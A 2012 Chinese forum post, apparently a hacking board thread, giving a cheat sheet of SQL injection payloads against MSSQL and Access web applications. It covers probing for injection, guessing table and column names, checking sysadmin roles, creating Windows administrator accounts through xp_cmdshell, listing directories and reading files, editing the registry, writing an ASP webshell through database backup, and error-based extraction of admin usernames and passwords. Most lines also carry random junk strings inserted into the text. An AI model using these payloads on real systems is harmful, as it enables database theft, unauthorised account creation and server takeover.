找回密码
 立即注册
查看: 2922|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
) n- J! X" Q" i8 A) }9 K;and 1=1 4 W+ l+ F% x! o' ~" `5 I
;and 1=2 ( g3 W3 A, c! Z2 f/ Y

5 z& A4 y4 ^1 U! W2.初步判断是否是mssql
# E0 |+ b$ m" ~8 ^9 g) L+ ~. F;and user>0
! B5 q) G/ n  Y- F7 `) k4 U
" A& d0 o& z' _+ F( ?% Q1 z3.判断数据库系统
8 ~& Y# b9 B! G;and (select count(*) from sysobjects)>0 mssql
) ?4 ~4 F# a1 z' k7 B& V( w;and (select count(*) from msysobjects)>0 access   Y# ?8 L+ I% \) s; R9 _* y% k
9 I4 J* l6 _" Z6 P; e
4.注入参数是字符 , O1 h7 B' i2 n7 A' }
'and [查询条件] and ''='
  a2 z" P" B8 u) ?% E3 g# s! k7 S. A. ~. O+ B& ^
5.搜索时没过滤参数的 + x4 K+ J7 i6 `4 u+ o5 R% x
'and [查询条件] and '%25'=' ! U4 y# Q  X' y' I& B2 c

# C6 H$ B6 O6 z- K* z) H. t" J2 U( v  u6.猜数表名 ; H3 n) d" d7 u3 e2 d
;and (select Count(*) from [表名])>0
. e1 ]) z1 T' p6 M7 S% j! }2 ?6 q  ?1 N7 ]
7.猜字段 + O# v+ h0 ]" z- t$ l
;and (select Count(字段名) from 表名)>0
0 N( `4 ^$ v0 d, Y. B6 a! L, d! q/ V0 W, c; ^- Z) e' w. U' q8 L
8.猜字段中记录长度 $ _$ e8 k7 B$ x% b1 R% P
;and (select top 1 len(字段名) from 表名)>0 " o; R4 M& |; x' D0 A

* Z1 R# I# G6 ]" A5 f$ J1 v7 i/ s9.(1)猜字段的ascii值(access) : {8 W4 M% X/ I
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 1 z. M+ @$ y. h5 C5 k
8 X5 r, i. d% ^- M
(2)猜字段的ascii值(mssql)
! x: s# n: l$ R9 c8 R, Y" Z* X3 P;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 2 m- t6 P% X- e& L

3 E- C. `0 |9 l, d4 J10.测试权限结构(mssql)
7 I! u, r/ K; H1 J2 x;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 1 W5 C. W8 k. c; d" p0 K
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- * p6 b% N' Y4 k; m
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 7 r0 u; P. @4 Y9 I. a
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
! ]* G4 p# h  b8 ~7 _3 P; Q7 t8 @;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- # l& c9 s/ e& ~/ M* c. \
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
& b8 W' n8 B# h+ A;and 1=(select IS_MEMBER('db_owner'));--
) {  X, m: k2 z8 N$ D1 H& J- v: }7 u; A  n) ~) D
11.添加mssql和系统的帐户 - U- E9 T" d" m" T2 Z
;exec master.dbo.sp_addlogin username;-- 7 I  T  K4 v5 d9 d/ S
;exec master.dbo.sp_password null,username,password;--
5 E4 k4 G! n% U/ N;exec master.dbo.sp_addsrvrolemember sysadmin username;--
8 ]2 x) {- S7 P; n;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
! |! U$ Y7 r: |! M;exec master.dbo.xp_cmdshell 'net user username password /add';-- 4 U" L- f) V+ J5 N6 Z
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
) h  n1 x! C- K" V! o7 L  z. R- O% M0 s3 K- W& o" ]* @3 }
12.(1)遍历目录 3 i8 M5 B# }1 d) L( k
;create table dirs(paths varchar(100), id int) 9 O3 y0 Y4 q' N2 p6 g8 Q: L& d$ i
;insert dirs exec master.dbo.xp_dirtree 'c:\'
/ K, d0 f  U; o) {4 ~; I7 k- p& t;and (select top 1 paths from dirs)>0 / k1 R  ?2 b" c* d# `, F& m2 S
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 5 u, g) j/ v$ S  ~# S0 Q
! z; w/ Q' p- q! k, w& k" r$ H5 r
(2)遍历目录 + P. r& k) `, |' b
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- , a" R! z+ O; o. C0 T
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 2 N- w5 b+ N  i$ R# [6 z% Y
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 3 a) B% c* k9 N& C; Y; ?& A
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 , d" e, R4 L* v  M% l' E
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 , f# f# u( A* r& p$ U
3 m) S- w% N! U, W. G$ k' g
13.mssql中的存储过程
' V, n: z) n9 b1 w& Fxp_regenumvalues 注册表根键, 子键
- E  c" I4 e4 V0 R3 b;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 6 [# o2 l" A/ y8 C3 i
xp_regread 根键,子键,键值名 & q- t/ d0 Q  S2 k
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 7 y7 \( F" q' g' H; w/ E, T, D
xp_regwrite 根键,子键, 值名, 值类型, 值 - ]  [, ]4 z7 C( a
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ' _% w3 S# R9 l# ~* F
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ' e1 I! d* x+ k9 B) x9 d5 c
xp_regdeletevalue 根键,子键,值名
- ]3 e" H- d8 P8 _exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 4 D, }( \4 `7 o5 z% x1 O* L
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 + |' I4 ~* I+ l( N

7 l! J7 T) A2 |1 p& X% Q14.mssql的backup创建webshell * n5 h" ~4 ~- c9 [1 x6 _% P3 i4 E
use model & j' L% H" R/ r2 e. f; M3 Z0 G5 J9 m
create table cmd(str image);
. u0 y1 R* w3 ~9 Y& vinsert into cmd(str) values ('<% Dim oScript %>'); ! L8 A$ ?5 S" M5 {/ C4 h- ^; p4 Z
backup database model to disk='c:\l.asp'; " D( ^* g  b1 O1 `2 ]2 u8 W
, D) B3 P! v" R$ F
15.mssql内置函数 ! Y* M1 t4 U5 F4 \6 Z
;and (select @@version)>0 获得Windows的版本号 ; y0 ]/ |: X% _- e
;and user_name()='dbo' 判断当前系统的连接用户是不是sa / [0 V- ^! Z% k) X! e8 `+ I
;and (select user_name())>0 爆当前系统的连接用户 % q% _1 q: Y7 u# H/ I1 J8 l$ P6 R
;and (select db_name())>0 得到当前连接的数据库
, d! x5 G% l: j7 Z$ E0 N
) U  x1 D' P" ]6 g5 H2 c9 r& E! `" X* p! G" }

* \- `7 \3 `) N2 ZMSSQL手注暴库$ {: s9 P" d6 ~# G% e, R+ f
: y" J& t6 r1 e) C7 f& o5 F  |
1.暴出当前表名和列名5 \+ @' e4 _- Z) d
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
9 F) ^7 W9 H0 H5 p" R8 f# R- P5 v2 r, t: y+ J) {7 Z
第一.爆出所有数据库名
- P5 w: @  a) g5 }利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。+ V6 b1 k1 B" R9 v
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
" r2 A- H, P* b+ M8 m! C# s$ B1 }/ G0 }% T3 U
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名; P: ?3 S3 |8 ~5 s5 Q& ^

! Q% T/ x$ \9 M/ g1 N3 T1 |6 k1 z8 n
第二.爆出指定库中的所有表名/ O2 A' [  i5 e: w: O
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。7 k7 r1 R  w# a6 o' m# y  q# H4 u
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
' Q  Q2 A% d8 Y9 ^
/ D( X2 d! j8 J  f% w7 mand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--. M5 X3 p' y2 w# H% v- B- h0 V9 q" ^
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--2 R3 s3 P4 j" C0 w% b
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
9 i! o, W1 _  w- I1 c* G1 D: ~& a# [$ c- H
4.爆出指定表中的所有列名
" Z1 c' L" J% _# ]& n; d8 Yand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) : l  D. V' S' O. \
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
! q  D- d  A* B# d( u! g8 `- K: E, e- [
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名3 N0 o. s, h1 Y9 w

0 @7 V3 Z4 k( B5 s5 a3 U' \' b* o再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
# D# e, K  {7 }- G2 j- k依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。- Z( E! L; h3 c7 t- T3 q1 y) I

1 h& }7 U. n1 T0 E  A3 Z4 ~; b: t
6 g) f8 o9 ^2 K) L( nand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值2 B- h  P. U; ]& ^8 R& v! M

/ G4 _1 N1 O6 Y3 o# |& Oand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
8 m7 Z2 W  a, N8 ]% b% U: J5 {  |/ N5 X& c) _# [7 N
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- * ?! F& O& F* ~4 t
; Z; o1 [6 e: r! S+ @/ x" F

' ^, \7 P6 f+ h, a4 V' v& y6 C7 {; h( _3 s' Z
5.读取指定表中的数据
/ G. [8 k- x2 V9 }9 U8 [6 V3 E0 \2 ~2 \0 K) ^* G+ @4 o
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 ( b* j, ]" j9 X* W0 @. B2 z) p
" N9 `( \4 x8 f; x
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--. Y' a* c: E9 M6 _- e
* C7 _$ n1 S5 ~1 l# Q
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
# ~6 v2 O/ l  J4 X' w" V2 A! U: J! ]8 s9 @7 D6 B$ M' h

% c4 `8 |$ A0 ~  {$ Wand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
/ E9 S6 ?. y; a7 C& _- o4 O# y1 a3 C8 t# l/ a
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
" S' k& E) q. {* x' Q  X1 F. j" i9 G% m: X
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
" y' q  P( R# Q) r& r" {
9 l/ U* `( ^+ _( c知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
/ m* B5 j: d1 v1 g' D( n  L) f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表